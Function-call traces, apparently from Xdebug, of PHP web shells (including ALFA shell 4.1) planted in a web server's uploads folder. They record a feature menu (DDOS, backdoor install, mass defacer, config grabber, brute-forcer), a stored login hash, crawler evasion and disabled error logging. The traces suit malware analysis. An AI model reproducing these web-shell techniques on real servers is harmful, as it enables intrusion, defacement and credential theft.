5	464	1	0.068119	2804848
5	464	R			FALSE
5	465	0	0.068132	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_signal_dispatch'
5	465	1	0.068144	2804848
5	465	R			'pcntl_signal_dispatch'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_signal_dispatch'
5	466	0	0.068168	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_signal_dispatch'
5	466	1	0.068182	2804848
5	466	R			FALSE
5	467	0	0.068194	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_get_last_error'
5	467	1	0.068207	2804848
5	467	R			'pcntl_get_last_error'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_get_last_error'
5	468	0	0.068231	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_get_last_error'
5	468	1	0.068244	2804848
5	468	R			FALSE
5	469	0	0.068257	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_strerror'
5	469	1	0.068269	2804848
5	469	R			'pcntl_strerror'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_strerror'
5	470	0	0.068293	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_strerror'
5	470	1	0.068307	2804848
5	470	R			FALSE
5	471	0	0.068323	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_sigprocmask'
5	471	1	0.068336	2804848
5	471	R			'pcntl_sigprocmask'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_sigprocmask'
5	472	0	0.068360	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_sigprocmask'
5	472	1	0.068374	2804848
5	472	R			FALSE
5	473	0	0.068386	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_sigwaitinfo'
5	473	1	0.068399	2804848
5	473	R			'pcntl_sigwaitinfo'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_sigwaitinfo'
5	474	0	0.068423	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_sigwaitinfo'
5	474	1	0.068437	2804848
5	474	R			FALSE
5	475	0	0.068449	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_sigtimedwait'
5	475	1	0.068462	2804848
5	475	R			'pcntl_sigtimedwait'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_sigtimedwait'
5	476	0	0.068486	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_sigtimedwait'
5	476	1	0.068499	2804848
5	476	R			FALSE
5	477	0	0.068511	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_exec'
5	477	1	0.068524	2804848
5	477	R			'pcntl_exec'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_exec'
5	478	0	0.068547	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_exec'
5	478	1	0.068561	2804848
5	478	R			FALSE
5	479	0	0.068573	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_getpriority'
5	479	1	0.068586	2804848
5	479	R			'pcntl_getpriority'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_getpriority'
5	480	0	0.068610	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_getpriority'
5	480	1	0.068624	2804848
5	480	R			FALSE
5	481	0	0.068636	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_setpriority'
5	481	1	0.068649	2804848
5	481	R			'pcntl_setpriority'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_setpriority'
5	482	0	0.068673	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_setpriority'
5	482	1	0.068687	2804848
5	482	R			FALSE
5	483	0	0.068699	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_async_signals'
5	483	1	0.068712	2804848
5	483	R			'pcntl_async_signals'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_async_signals'
5	484	0	0.068736	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_async_signals'
5	484	1	0.068749	2804848
5	484	R			FALSE
5	485	0	0.068762	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	''
5	485	1	0.068774	2804848
5	485	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = ''
4	435	1	0.068798	2801968
4	435	R			'<span class="header_show_all">All Functions Accessible</span>'
4	486	0	0.068820	2803760	getenv	0		/var/www/html/uploads/FileManagerFull.php	1193	1	'SERVER_SOFTWARE'
4	486	1	0.068836	2803840
4	486	R			'Apache/2.4.52 (Ubuntu)'
3		A						/var/www/html/uploads/FileManagerFull.php	1210	$li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'proc'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'phpeval'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'sql'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'dumper'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'coldumper'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'hash'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'connect'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'zoneh'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'dos'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'safe'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'cgishell'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'ssiShell'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'cpcrack'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'portscanner'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'basedir'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'mail'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'ziper'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'deziper'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'IndexChanger'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'pwchanger'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'ShellInjectors'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'php2xml'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'cloudflare'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'Whmcs'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'symlink'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'MassDefacer'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'Crackers'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'searcher'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'config_grabber'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'fakepage'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'archive_manager'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'cmshijacker'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'remotedl'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'inbackdoor'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'whois'
3		A						/var/www/html/uploads/FileManagerFull.php	1216	$key = 'selfrm'
3	61	1	0.069707	2798024
3	487	0	0.069717	2798024	AlfaNum	1		/var/www/html/uploads/FileManagerFull.php	2561	7	8	9	10	7	6	5	4
3		A						/var/www/html/uploads/FileManagerFull.php	948	$args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3		A						/var/www/html/uploads/FileManagerFull.php	949	$alfax = []
3		A						/var/www/html/uploads/FileManagerFull.php	950	$find = []
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i = 1
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 1
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 2
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 3
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 4
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 5
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 6
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 7
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 8
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 9
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	952	$alfax[] = 10
3		A						/var/www/html/uploads/FileManagerFull.php	951	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	955	$find[] = 8
3		A						/var/www/html/uploads/FileManagerFull.php	955	$find[] = 9
3		A						/var/www/html/uploads/FileManagerFull.php	955	$find[] = 10
3		A						/var/www/html/uploads/FileManagerFull.php	955	$find[] = 7
3		A						/var/www/html/uploads/FileManagerFull.php	955	$find[] = 6
3		A						/var/www/html/uploads/FileManagerFull.php	955	$find[] = 5
3		A						/var/www/html/uploads/FileManagerFull.php	955	$find[] = 4
4	488	0	0.070017	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	1	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	488	1	0.070035	2799544
4	488	R			FALSE
4	489	0	0.070049	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	2	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	489	1	0.070067	2799544
4	489	R			FALSE
4	490	0	0.070080	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	3	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	490	1	0.070096	2799544
4	490	R			FALSE
4	491	0	0.070109	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	4	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	491	1	0.070125	2799544
4	491	R			TRUE
4	492	0	0.070138	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	5	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	492	1	0.070153	2799544
4	492	R			TRUE
4	493	0	0.070166	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	6	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	493	1	0.070181	2799544
4	493	R			TRUE
4	494	0	0.070194	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	7	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	494	1	0.070209	2799544
4	494	R			TRUE
4	495	0	0.070221	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	8	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	495	1	0.070236	2799544
4	495	R			TRUE
4	496	0	0.070248	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	9	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	496	1	0.070263	2799544
4	496	R			TRUE
4	497	0	0.070275	2799472	in_array	0		/var/www/html/uploads/FileManagerFull.php	959	2	10	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	497	1	0.070290	2799544
4	497	R			TRUE
3	487	1	0.070302	2798024
3	498	0	0.070310	2798024	alfafooter	1		/var/www/html/uploads/FileManagerFull.php	2563	0
4	499	0	0.070324	2798024	htmlspecialchars	0		/var/www/html/uploads/FileManagerFull.php	2293	1	'/var/www/html/uploads/'
4	499	1	0.070339	2798216
4	499	R			'/var/www/html/uploads/'
4	500	0	0.070355	2801096	date	0		/var/www/html/uploads/FileManagerFull.php	2306	1	'Y'
4	500	1	0.070389	2801384
4	500	R			'2023'
3	498	1	0.072120	2814408
2	60	1	0.072132	2814408
			0.072169	2626272
TRACE END   [2023-02-12 19:45:10.512019]

data/traces/67eba714f23ee4b7c9caf7136cb983db_trace-1676239992.6495.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:13:38.547273]
1	0	1	0.000138	393512
1	3	0	0.011610	2765560	{main}	1		/var/www/html/uploads/alfa.php	0	0
1		A						/var/www/html/uploads/alfa.php	9	GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/alfa.php	19	$CWppUDJxuf = 'function_exists'
1		A						/var/www/html/uploads/alfa.php	20	$aztJtafUXm = 'charCodeAt'
1		A						/var/www/html/uploads/alfa.php	21	$OVpGNqqFZs = 'eval'
1		A						/var/www/html/uploads/alfa.php	22	$psDEwGhsxg = 'gzinflate'
2	4	0	0.011724	2765560	function_exists	0		/var/www/html/uploads/alfa.php	24	1	'base64_encode'
2	4	1	0.011739	2765600
2	4	R			TRUE
2	5	0	0.011754	2765560	function_exists	0		/var/www/html/uploads/alfa.php	72	1	'base64_decode'
2	5	1	0.011768	2765600
2	5	R			TRUE
1		A						/var/www/html/uploads/alfa.php	126	GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/alfa.php	128	$key = 'username'
2	6	0	0.011816	2765536	substr	0		/var/www/html/uploads/alfa.php	130	3	'username'	0	2
2	6	1	0.011830	2765664
2	6	R			'us'
1		A						/var/www/html/uploads/alfa.php	130	$prefix = 'us'
1		A						/var/www/html/uploads/alfa.php	133	GLOBALS['DB_NAME']['user'] = 'alfa'
1		A						/var/www/html/uploads/alfa.php	134	GLOBALS['DB_NAME']['user_rand'] = 'username'
1		A						/var/www/html/uploads/alfa.php	128	$key = 'password'
2	7	0	0.011891	2766264	substr	0		/var/www/html/uploads/alfa.php	130	3	'password'	0	2
2	7	1	0.011905	2766392
2	7	R			'pa'
1		A						/var/www/html/uploads/alfa.php	130	$prefix = 'pa'
1		A						/var/www/html/uploads/alfa.php	138	GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1		A						/var/www/html/uploads/alfa.php	139	GLOBALS['DB_NAME']['pass_rand'] = 'password'
1		A						/var/www/html/uploads/alfa.php	128	$key = 'safe_mode'
2	8	0	0.011965	2766264	substr	0		/var/www/html/uploads/alfa.php	130	3	'safe_mode'	0	2
2	8	1	0.011978	2766392
2	8	R			'sa'
1		A						/var/www/html/uploads/alfa.php	130	$prefix = 'sa'
1		A						/var/www/html/uploads/alfa.php	143	GLOBALS['DB_NAME']['safemode'] = '0'
1		A						/var/www/html/uploads/alfa.php	144	GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1		A						/var/www/html/uploads/alfa.php	128	$key = 'login_page'
2	9	0	0.012036	2766264	substr	0		/var/www/html/uploads/alfa.php	130	3	'login_page'	0	2
2	9	1	0.012049	2766392
2	9	R			'lo'
1		A						/var/www/html/uploads/alfa.php	130	$prefix = 'lo'
1		A						/var/www/html/uploads/alfa.php	148	GLOBALS['DB_NAME']['login_page'] = '403'
1		A						/var/www/html/uploads/alfa.php	149	GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1		A						/var/www/html/uploads/alfa.php	128	$key = 'show_icons'
2	10	0	0.012108	2766264	substr	0		/var/www/html/uploads/alfa.php	130	3	'show_icons'	0	2
2	10	1	0.012122	2766392
2	10	R			'sh'
1		A						/var/www/html/uploads/alfa.php	130	$prefix = 'sh'
1		A						/var/www/html/uploads/alfa.php	153	GLOBALS['DB_NAME']['show_icons'] = '1'
1		A						/var/www/html/uploads/alfa.php	154	GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1		A						/var/www/html/uploads/alfa.php	128	$key = 'post_encryption'
2	11	0	0.012181	2766264	substr	0		/var/www/html/uploads/alfa.php	130	3	'post_encryption'	0	2
2	11	1	0.012194	2766392
2	11	R			'po'
1		A						/var/www/html/uploads/alfa.php	130	$prefix = 'po'
1		A						/var/www/html/uploads/alfa.php	158	GLOBALS['DB_NAME']['post_encryption'] = FALSE
1		A						/var/www/html/uploads/alfa.php	159	GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1		A						/var/www/html/uploads/alfa.php	128	$key = 'cgi_api'
2	12	0	0.012254	2766264	substr	0		/var/www/html/uploads/alfa.php	130	3	'cgi_api'	0	2
2	12	1	0.012268	2766392
2	12	R			'cg'
1		A						/var/www/html/uploads/alfa.php	130	$prefix = 'cg'
1		A						/var/www/html/uploads/alfa.php	163	GLOBALS['DB_NAME']['cgi_api'] = TRUE
1		A						/var/www/html/uploads/alfa.php	164	GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1		A						/var/www/html/uploads/alfa.php	172	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	13	0	0.012348	2766904	implode	0		/var/www/html/uploads/alfa.php	172	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	13	1	0.012369	2767064
2	13	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2	14	0	0.012387	2767000	preg_match	0		/var/www/html/uploads/alfa.php	172	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i'	'python-requests/2.25.1'
2	14	1	0.012406	2767064
2	14	R			0
2	15	0	0.012420	2766904	define	0		/var/www/html/uploads/alfa.php	179	2	'__ALFA_VERSION__'	'4.1'
2	15	1	0.012435	2767008
2	15	R			TRUE
2	16	0	0.012448	2766936	define	0		/var/www/html/uploads/alfa.php	180	2	'__ALFA_UPDATE__'	'2'
2	16	1	0.012461	2767040
2	16	R			TRUE
2	17	0	0.012473	2766968	define	0		/var/www/html/uploads/alfa.php	181	2	'__ALFA_CODE_NAME__'	'Tesla'
2	17	1	0.012488	2767072
2	17	R			TRUE
2	18	0	0.012500	2767000	define	0		/var/www/html/uploads/alfa.php	182	2	'__ALFA_DATA_FOLDER__'	'ALFA_DATA'
2	18	1	0.012514	2767104
2	18	R			TRUE
2	19	0	0.012527	2767032	define	0		/var/www/html/uploads/alfa.php	183	2	'__ALFA_POST_ENCRYPTION__'	FALSE
2	19	1	0.012542	2767136
2	19	R			TRUE
2	20	0	0.012555	2767064	define	0		/var/www/html/uploads/alfa.php	184	2	'__ALFA_SECRET_KEY__'	''
2	20	1	0.012568	2767168
2	20	R			TRUE
1		A						/var/www/html/uploads/alfa.php	185	GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
2	21	0	0.012723	2767096	preg_replace	0		/var/www/html/uploads/alfa.php	511	3	'!\\(\\d+\\)\\s.*!'	''	'/var/www/html/uploads/alfa.php'
2	21	1	0.012741	2767192
2	21	R			'/var/www/html/uploads/alfa.php'
2	22	0	0.012756	2767096	trim	0		/var/www/html/uploads/alfa.php	511	1	'/var/www/html/uploads/alfa.php'
2	22	1	0.012769	2767128
2	22	R			'/var/www/html/uploads/alfa.php'
2	23	0	0.012784	2767096	str_replace	0		/var/www/html/uploads/alfa.php	511	3	'\\'	'/'	'/var/www/html/uploads/alfa.php'
2	23	1	0.012800	2767192
2	23	R			'/var/www/html/uploads/alfa.php'
1		A						/var/www/html/uploads/alfa.php	511	GLOBALS['__file_path'] = '/var/www/html/uploads/alfa.php'
1		A						/var/www/html/uploads/alfa.php	512	$config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2	24	0	0.012847	2767472	session_write_close	0		/var/www/html/uploads/alfa.php	514	0
2	24	1	0.012860	2767472
2	24	R			FALSE
2	25	0	0.012874	2767472	ignore_user_abort	0		/var/www/html/uploads/alfa.php	515	1	TRUE
2	25	1	0.012888	2767536
2	25	R			0
2	26	0	0.012901	2767504	set_time_limit	0		/var/www/html/uploads/alfa.php	516	1	0
2	26	1	0.012918	2767568
2	26	R			FALSE
2	27	0	0.012931	2767536	ini_set	0		/var/www/html/uploads/alfa.php	517	2	'memory_limit'	'-1'
2	27	1	0.012946	2767640
2	27	R			'128M'
2	28	0	0.012959	2767536	ini_set	0		/var/www/html/uploads/alfa.php	518	2	'upload_max_filesize'	'9999m'
2	28	1	0.012974	2767608
2	28	R			FALSE
2	29	0	0.012989	2767536	error_reporting	0		/var/www/html/uploads/alfa.php	853	1	32759
2	29	1	0.013002	2767608
2	29	R			0
2	30	0	0.013021	2767568	ini_set	0		/var/www/html/uploads/alfa.php	854	2	'error_log'	NULL
2	30	1	0.013042	2767640
2	30	R			''
2	31	0	0.013054	2767568	ini_set	0		/var/www/html/uploads/alfa.php	855	2	'log_errors'	0
2	31	1	0.013068	2767640
2	31	R			'1'
2	32	0	0.013081	2767568	ini_set	0		/var/www/html/uploads/alfa.php	856	2	'max_execution_time'	0
2	32	1	0.013094	2767608
2	32	R			'0'
2	33	0	0.013107	2767536	ini_set	0		/var/www/html/uploads/alfa.php	857	2	'magic_quotes_runtime'	0
2	33	1	0.013121	2767608
2	33	R			FALSE
2	34	0	0.013134	2767536	set_time_limit	0		/var/www/html/uploads/alfa.php	858	1	0
2	34	1	0.013147	2767600
2	34	R			FALSE
2	35	0	0.013160	2767568	function_exists	0		/var/www/html/uploads/alfa.php	859	1	'set_magic_quotes_runtime'
2	35	1	0.013173	2767608
2	35	R			FALSE
1		A						/var/www/html/uploads/alfa.php	875	$default_action = 'FilesMan2'
1		A						/var/www/html/uploads/alfa.php	876	$default_use_ajax = TRUE
1		A						/var/www/html/uploads/alfa.php	877	$default_charset = 'Windows-1251'
2	36	0	0.013220	2767568	substr	0		/var/www/html/uploads/alfa.php	878	3	'Linux'	0	3
2	36	1	0.013234	2767696
2	36	R			'Lin'
2	37	0	0.013247	2767600	strtolower	0		/var/www/html/uploads/alfa.php	878	1	'Lin'
2	37	1	0.013259	2767664
2	37	R			'lin'
1		A						/var/www/html/uploads/alfa.php	881	GLOBALS['sys'] = 'unix'
2	38	0	0.013285	2767568	alfaGetCwd	1		/var/www/html/uploads/alfa.php	882	0
3	39	0	0.013298	2767568	function_exists	0		/var/www/html/uploads/alfa.php	737	1	'getcwd'
3	39	1	0.013311	2767608
3	39	R			TRUE
3	40	0	0.013324	2767568	getcwd	0		/var/www/html/uploads/alfa.php	738	0
3	40	1	0.013339	2767616
3	40	R			'/var/www/html/uploads'
2	38	1	0.013354	2767616
2	38	R			'/var/www/html/uploads'
